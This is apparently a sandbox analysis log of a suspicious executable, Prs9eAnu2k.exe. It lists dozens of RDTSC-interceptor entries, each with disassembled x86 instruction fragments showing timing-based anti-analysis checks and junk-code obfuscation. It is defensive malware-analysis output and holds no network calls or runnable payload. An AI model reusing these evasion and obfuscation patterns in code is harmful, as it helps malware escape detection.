Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C96F39 second address: C96FDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c js 00007F82B53DDA08h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 nop 0x00000016 cld 0x00000017 mov dword ptr [ebp+122D1957h], esi 0x0000001d push dword ptr fs:[00000000h] 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F82B53DDA08h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e jmp 00007F82B53DDA16h 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a call 00007F82B53DDA0Ch 0x0000004f jo 00007F82B53DDA0Ch 0x00000055 xor dword ptr [ebp+122D1BC4h], eax 0x0000005b pop edi 0x0000005c mov eax, dword ptr [ebp+122D11CDh] 0x00000062 mov ebx, 002A885Ah 0x00000067 push FFFFFFFFh 0x00000069 push eax 0x0000006a push esi 0x0000006b push eax 0x0000006c push edx 0x0000006d jl 00007F82B53DDA06h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C98BA0 second address: C98C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F82B4B869D2h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F82B4B869CDh 0x00000013 jg 00007F82B4B869CCh 0x00000019 pop edi 0x0000001a push 00000000h 0x0000001c jmp 00007F82B4B869D6h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F82B4B869C8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d jmp 00007F82B4B869D6h 0x00000042 mov bh, cl 0x00000044 xchg eax, esi 0x00000045 jng 00007F82B4B869DEh 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C97EB7 second address: C97EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C99AAF second address: C99ACC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C99ACC second address: C99B66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F82B53DDA1Eh 0x00000011 jp 00007F82B53DDA18h 0x00000017 nop 0x00000018 or dword ptr [ebp+1245291Eh], edx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F82B53DDA08h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a pushad 0x0000003b jng 00007F82B53DDA07h 0x00000041 stc 0x00000042 mov dword ptr [ebp+122D31AFh], ecx 0x00000048 popad 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push eax 0x0000004e call 00007F82B53DDA08h 0x00000053 pop eax 0x00000054 mov dword ptr [esp+04h], eax 0x00000058 add dword ptr [esp+04h], 00000017h 0x00000060 inc eax 0x00000061 push eax 0x00000062 ret 0x00000063 pop eax 0x00000064 ret 0x00000065 mov ebx, ecx 0x00000067 xchg eax, esi 0x00000068 push esi 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F82B53DDA11h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9D9D8 second address: C9DA4C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D295Ch] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F82B4B869C8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov bl, dh 0x0000002b xor dword ptr [ebp+122D1BF7h], edi 0x00000031 call 00007F82B4B869CDh 0x00000036 or dword ptr [ebp+122D30D6h], eax 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f pushad 0x00000040 jo 00007F82B4B869CCh 0x00000046 mov eax, dword ptr [ebp+122D2A10h] 0x0000004c add bh, 00000004h 0x0000004f popad 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F82B4B869CEh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9DA4C second address: C9DA51 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9AC12 second address: C9AC86 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov bx, si 0x0000000e and ebx, 0D763095h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov dword ptr [ebp+122D3770h], edi 0x00000021 mov bx, di 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b cmc 0x0000002c mov eax, dword ptr [ebp+122D160Dh] 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F82B4B869C8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c push FFFFFFFFh 0x0000004e mov bx, 7597h 0x00000052 nop 0x00000053 push eax 0x00000054 push edx 0x00000055 jp 00007F82B4B869DDh 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C99D00 second address: C99D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9CB93 second address: C9CBB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007F82B4B869CCh 0x00000011 jnp 00007F82B4B869C6h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9AC86 second address: C9AC8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9AC8C second address: C9AC90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C9ECB4 second address: C9ECE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F82B53DDA15h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CA1B64 second address: CA1B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CA1B6C second address: CA1B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CAAE79 second address: CAAE7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CAAE7E second address: CAAE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CAB1B2 second address: CAB1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CAB1B8 second address: CAB1C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jp 00007F82B53DDA06h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CAB1C5 second address: CAB1CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CAB1CB second address: CAB1D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F82B53DDA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB0ED3 second address: CB0EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB0EE2 second address: CB0F0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F82B53DDA19h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB0F92 second address: CB0F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB4C7B second address: CB4C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB4C81 second address: CB4C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB4C8C second address: CB4C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB523C second address: CB5267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F82B4B869D6h 0x0000000e popad 0x0000000f pushad 0x00000010 jne 00007F82B4B869C6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB5267 second address: CB5288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F82B53DDA0Ch 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jp 00007F82B53DDA06h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB53D0 second address: CB53D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB55A1 second address: CB55D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F82B53DDA10h 0x0000000b pushad 0x0000000c jmp 00007F82B53DDA17h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB5887 second address: CB588D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB588D second address: CB5893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB5893 second address: CB58C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F82B4B869D0h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F82B4B869D1h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB58C5 second address: CB58CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB58CB second address: CB58D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB97C5 second address: CB97F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F82B53DDA0Bh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB97F4 second address: CB97FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CB97FA second address: CB97FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4E226 second address: C4E236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F82B4B869C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC289F second address: CC28AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F82B53DDA06h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC28AA second address: CC28AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC28AF second address: CC28BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F82B53DDA06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC28BB second address: CC28D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F82B4B869C6h 0x0000000a popad 0x0000000b js 00007F82B4B869C8h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ebx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC28D6 second address: CC28EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F82B53DDA06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F82B53DDA06h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC15C2 second address: CC1602 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F82B4B869CCh 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F82B4B869C6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F82B4B869D8h 0x0000001c jnl 00007F82B4B869CAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1602 second address: CC161D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA16h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC161D second address: CC1636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F82B4B869CDh 0x00000009 jg 00007F82B4B869C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1901 second address: CC1939 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F82B53DDA0Eh 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F82B53DDA19h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1939 second address: CC1945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1945 second address: CC194B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC194B second address: CC197F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D5h 0x00000007 jnc 00007F82B4B869C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F82B4B869D1h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC197F second address: CC1998 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Eh 0x00000007 pushad 0x00000008 jnc 00007F82B53DDA06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1C2D second address: CC1C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F82B4B869C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1C37 second address: CC1C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA17h 0x00000007 jnl 00007F82B53DDA06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 jns 00007F82B53DDA06h 0x00000018 jmp 00007F82B53DDA0Ah 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1C6F second address: CC1C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F82B4B869C6h 0x0000000d jmp 00007F82B4B869D3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC1C8F second address: CC1C9D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC7B07 second address: CC7B17 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F82B4B869C6h 0x00000008 jp 00007F82B4B869C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC7B17 second address: CC7B1E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC6B40 second address: CC6B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC6B44 second address: CC6B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC6C9F second address: CC6CAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F82B4B869C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC6CAA second address: CC6CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC7105 second address: CC7109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC7109 second address: CC712B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F82B53DDA0Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 js 00007F82B53DDA06h 0x00000017 pop ebx 0x00000018 popad 0x00000019 pushad 0x0000001a jl 00007F82B53DDA12h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CC7448 second address: CC7470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 je 00007F82B4B869C6h 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F82B4B869C6h 0x00000015 jmp 00007F82B4B869D3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCCC15 second address: CCCC49 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F82B53DDA0Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a je 00007F82B53DDA06h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F82B53DDA17h 0x00000017 jmp 00007F82B53DDA0Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8E5FE second address: C8E610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B4B869CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8E610 second address: C8E652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jbe 00007F82B53DDA0Ah 0x00000011 mov dx, C47Fh 0x00000015 lea eax, dword ptr [ebp+12488355h] 0x0000001b jmp 00007F82B53DDA16h 0x00000020 mov dword ptr [ebp+122D2712h], edi 0x00000026 push eax 0x00000027 pushad 0x00000028 pushad 0x00000029 jnl 00007F82B53DDA06h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8E652 second address: C721B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d movsx ecx, bx 0x00000010 call dword ptr [ebp+122D1B61h] 0x00000016 push ecx 0x00000017 jmp 00007F82B4B869CAh 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F82B4B869CEh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8E7F1 second address: C8E7F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8E7F5 second address: C8E7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8E7F9 second address: C8E807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F82B53DDA0Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8F0F6 second address: C8F0FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
